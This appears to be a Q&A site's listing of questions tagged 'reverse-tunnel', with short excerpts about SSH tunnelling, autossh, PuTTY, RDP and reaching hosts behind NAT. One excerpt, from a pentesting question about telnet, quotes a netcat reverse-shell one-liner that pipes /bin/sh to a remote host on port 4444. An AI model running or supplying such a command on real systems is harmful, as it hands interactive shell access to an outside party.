Questions tagged [reverse-tunnel]
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How to get a persistent reverse SSH tunnel using autossh?
(just asked this on SO but was adviced to take it here)
I managed to create a reverse SSH tunnel between a Raspberry Pi 2 and a server of mine (server which has a static IP) and it works fine. The ...
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Reverse tunnel, remote desktop session hangs when moving PuTTY window
I have a ssh server on my Windows 10 computer at home and when I set up a reverse tunnel from my Windows 10 work computer with PuTTY with this command:
putty.exe -ssh user@xxxxxxxxxx -R 9999:...
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How do I share a reverse SSH tunnel on a network?
I have a remote computer on a 3G PPP connection.
I can't connect to this computer via the Internet as I believe the PPP IP pool uses NAT to connect to the Internet (I get given a 10.x.x.x address when ...
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Expose a Reverse SSH Tunnel on the Remote server
I set up a Reverse SSH tunnel from my home computer to my work server:
ssh -f -N -R 19999:localhost:22 remoteuser@server
To connect to my home computer I have to first log in to the server and then ...
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How to specify what port RDP responds to?
I need to figure out a way to force RDP(Remote Desktop) to respond to a specific port Instead of a RHP(Random High Port). I am not asking how to change what port RDP "Listens" on, but rather the ...
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Is it possible to make a reverse tunnel using MOSH?
on My PC:
mosh --ssh="ssh -R 1024:localhost:22" root@RaspberryPi
on Pi:
ssh -p 1024 root@localhost
But I got this message:
pi@raspberrypi ~ $ ssh -p 1024 root@localhost
socket: Address family not ...
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Need to figure out a way for RDP to call back to a local listener on a specified Ephemeral port though a Reverse SSH Tunnel
This relates to a previous question that was getting entirely too long and confusing due to my constant updates and edits and I was told to re ask it. So I am cleaning it up and asking a more direct ...
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Run a server behind router
I own a virtual private server. I currently want to run a server on my local computer (behind a router that I don't have admin access to so I can't port forward).
Can I use the virtual private server ...
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How to find out dynamic reverse SSH remote port without sudo
I can initialize reverse SSH from client with following command:
$ ssh -R 0:localhost:22 <server_host>
Allocated port 42853 for remote forward to localhost:22
How can I figure out that 42853 ...
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View router webpage via remote PC
Not sure if this can be done but here goes.
What I want to acheive is this, a user on a laptop can view a router web page that is on another PC (client), the route to this client is via another PC (...
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SSH remote forwarded port doesn't accept external connection (even with `GetewayPorts yes`)
I am trying to set a reverse/remote SSH port forward, using this schema where the Apache Linux server forwards the port 80 to the SSH server.
So
On the SSH server I changed the configuration to ...
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Reverse ssh not working. ssh_exchange_identification: Connection closed by remote host
This is what I run in the server(A) to open tunnel:
ssh -vf -N -T -R 222:localhost:22 me@myserverip -p 2222
This is what I run on the myserver server(B) to use the tunnel:
ssh -vp 222 me@localhost
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How to host a local server using Heroku?
I want to host a Node.js website running on my laptop, so that it would be accessible to other people. I have tried port-forwarding on my router, but it does not work because my ISP has stopped ...
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SSH reverse tunnel to monitor and manage remote devices
I have a set a distributed set of devices running Ubuntu 12.04 that I am distributing to clients. I would like to manage them remotely. They may not have fixed IPs and potentially might be behind ...
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Can I use other host instead of localhost for Destination Field in SSH Reverse Tunnel Port Forwarding?
I am using Putty to achieve SSH Reverse Tunnel Port Forwarding. Most of the tutorials are teaching me to forward remote port to localhost port. However, may I know is it make sense to input other host ...
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Browsing through ssh socks proxy -> through reverse tunnel
I have HostA behind a firewall establishing a reverse ssh tunnel to HostB. I want to setup a proxy on HostB that will forward the connection through the reverse ssh tunnel and out through HostA.
I ...
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connect to Windows share from Ubuntu Server using reverse ssh tunnel
I'm missing a piece of this puzzle so I hope someone can help me.
The SETUP: My computer with Windows O/S is behind a NAT/Firewall at work and I can not open any ports to forward. At home I have a ...
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Tunneling multicast over SSH
There's a remote server which has a LAN interface configured with IP address 192.168.100.2 as well it has a routing rule enabling all multicast 224.0.0.0/4 -> 192.168.100.2.
The remote server is ...
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How do I prevent my SSH tunnel port forwarding rules from disconnecting when idle?
I've set up some reverse port forwarding rules on my KiTTY (fork of PuTTY) client (Windows 7) through a SSH Tunnel to my remote OpenSSH server (Windows 2012). Everything works great at first, as using ...
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How to SSH between two servers behind firewalls (without a 3rd party server)
There are many posts on this topic and SSH Tunnelling however, some come close to meeting this requirement, missing out a step or two and others are difficult to follow because of unclear terms. This ...
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How to use reverse ssh tunneling with multiple jump servers
How would I use SSH Tunneling for an architecture in the example below?
Scenario: I am physically logged into Windows PC Local and wish to remote desktop into the Windows PC Remote using port 3389....
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Reverse proxy with ssh
I have the following setup:
A: my linux laptop at home B: a Windows machine to which I have
access via VNC, this PC is behind a restrictive firewall C: a PLC
on the same subnet as B
I'd like ...
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Cannot connect to VNC through reverse ssh
I am trying to set up a connection between my work machine (running Ubuntu 20) and my home machine (running Ubuntu 18) through a (G)cloud instance (running Ubuntu 20). Because of the strict firewall ...
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SSH reverse tunneling to a linux machine
I have essentially the same configuration as this question (relevant image below):
where I want to be able to ssh into RPC-2 from either LPC-1 directly and from any arbitrary machine via LPC-1. I ...
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SSH dynamic port forwarding (SOCKS) from LAN (behind NAT) to another LAN (behind NAT); middle server with public IP address available
I need advice how to make proper ssh connections.
My network:
I want to be able to view web server content from devices B_1, B_2, B_3 using FF with SOCKS configured on Client A.
Note that firewall ...
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Unable to reach Plex using SSH reverse tunneling
I've got Plex installed on a Windows computer at home. My internet connection goes over CG-NAT, so in order to access home I use an SSH reverse tunnel against a dedicated Linux server that I have on ...
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Reverse SSH connection at startup?
I have a Raspberry Pi, running Kali Linux. What I want it to do is, as soon as it boots, to connect with a reverse SSH connection to my machine at home, so I can control it wherever it is.
I created ...
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SSH & SOCKS inside an HTTPS encrypted tunnel using a Windows Apache Server or what?
I have spent hours reviewing Super/Stack and other sites and I haven't found the answer yet. So, I am going to give it a shot to ask here again. I would point out some partial answers I found in ...
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Reverse tunnel to access external API on firewalled server accessible only via bastion
If the title sounds confusing, it is, and I am highly confused. Here's the situation:
I have a prod server prod1 that's firewalled incoming/outgoing traffic from/to all external Internet
Additionally,...
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Reverse connection to remote database
I have a very large database on my home server. But my ISP doesn't allow me a port forward. Is there a way to reverse the connection from my web hosting server to my home database server which doesn't ...
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How can reverse-SSH be established with Windows Subsystem for Linux (WSL)?
I need reverse-SSH access to Windows Subsystem for Linux (WSL) Ubuntu. Normally this isn't a problem with Linux machines but with WSL it isn't working.
First I establish the reverse SSH connection ...
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How to SSH tunnel back to a private host from an internet facing server
I have a server running SSH which is Internet facing (lets call this host A).
I also have a server running which is behind a firewall. It is running sshd, however it cannot SSH out to the Internet, ...
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Serve MJPG image stream from reverse ssh tunnel
Background
I am working on a project that involves 2 servers. Server A is a VPS running Ubuntu 14.04 with a public IP address. Server B is running a MJPG service on port 8080 and does not have a ...
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Background chained ssh tunnel dropped instantly
I'm trying to establish the following chained ssh tunnel:
ssh -A -t gatewayuser@gatewayserver 'ssh -N -A -t -R 55520:127.0.0.1:55520 user@dbserver' &
This is part of a shell script, I want the ...
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Reverse SSH tunnel - Fails on Certain Ports
I'm trying to forward very specific ports using a reverse SSH tunnel. MachineA is the target machine (the one the command is being run from) and MachineB is the tunnel (the one SSH is connecting to ...
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SSH Reverse Tunneling
I use this command to create a reverse tunneling from my home machine to an AWS instance, so that I can connect to my home machine from anywhere
ssh -R 5000:localhost:8000 aws_machine
However, when ...
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How to remotely write to a file using multi-hop SSH
Questions like How to remotely write to a file using SSH are about a direct SSH.
But I am reaching the end of a reverse tunnel which ends on intermediateserver. That is, I'm ssh'ing to one machine ...
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How could a reverse SSH tunnel be instantiated remotely via the web?
I have a remote server behind a firewall and a NAT with no external IP address. I want to be able to establish a reverse SSH connection with this server. The issue is getting the remote server to ...
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Reverse tunneling for proxy
I need to use A as a proxy to forward all traffic through it, but all of its ports are closed. I have server B which has access to all the ports. The general idea is that server A connects to server B,...
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4G Reverse SSH tunnel through a port forwarded VPN?
So I have a laptop connected to the 4G network the only problem is I want to connect to it via SSH from my PC.
So far I have discovered that ny network operator does not allow port forwarding but I ...
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how to find which port reverse connection wants to connect? [closed]
A Client wants to connect to a server.
The server doesn't know which port the client is using for open that port.
How to find which port reverse connection (incoming connection) wants to connect?
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How to make port forwarding in initramfs stage?
I can install dropbear into the initramfs and successfully connect to this ssh server (IP: my_initramfs_ip) on boot stage, as described here.
Now I want to perform a port forwarding as a client at ...
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How can a "dropped" but still connected reverse-SSH tunnel be picked up again?
I have a remote Raspberry Pi computer that connects from behind its restrictive firewall to my server by reverse SSH tunnel. Imagine that this Raspberry Pi is on the difficult-to-access roof of a ...
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remote desktop for the terminal
Looking to allow a trusted friend access to an SSH session on my local machine.
Is there a script or one liner that will allow for the ease of use I know from remote login software (teamviewer etc.)
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Launchd File for reverse stream
Does anyone have any ideas why this fails to execute a reverse stream connection when loaded?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "...
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Reverse shell with puTTY or poderosa?
Can I open a reverse shell with Podersa or puTTY? I would prefer Poderosa but I can't find the option to create a tunnel from my local machine port 9000 to my remote machine port 9000?
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Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
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Is it possible to create a UDP/TCP reverse gaming tunnel?
For reference, I don't have much experience in the routing/networking world. I have a gaming server hosted on my desktop running in Linux Ubuntu headless 22.04. it's running on a local IP something ...
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How do you reverse tunnel to a different local ip
I have a reverse tunnel following this answer... How to get a persistent reverse SSH tunnel using autossh?
Both ends are RaspberryPis. MotionEyeOS is on a eero router with no routing options and a ...
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SSH tunnel to database server over multiple hops
SSH tunneling is easy to accomplish:
ssh -D1234 host
But we have a more specific infrastructure
Host 1 (Remote server placed in my company)
Host 2 (Local server inside Host 1 network)
Host 3 (...
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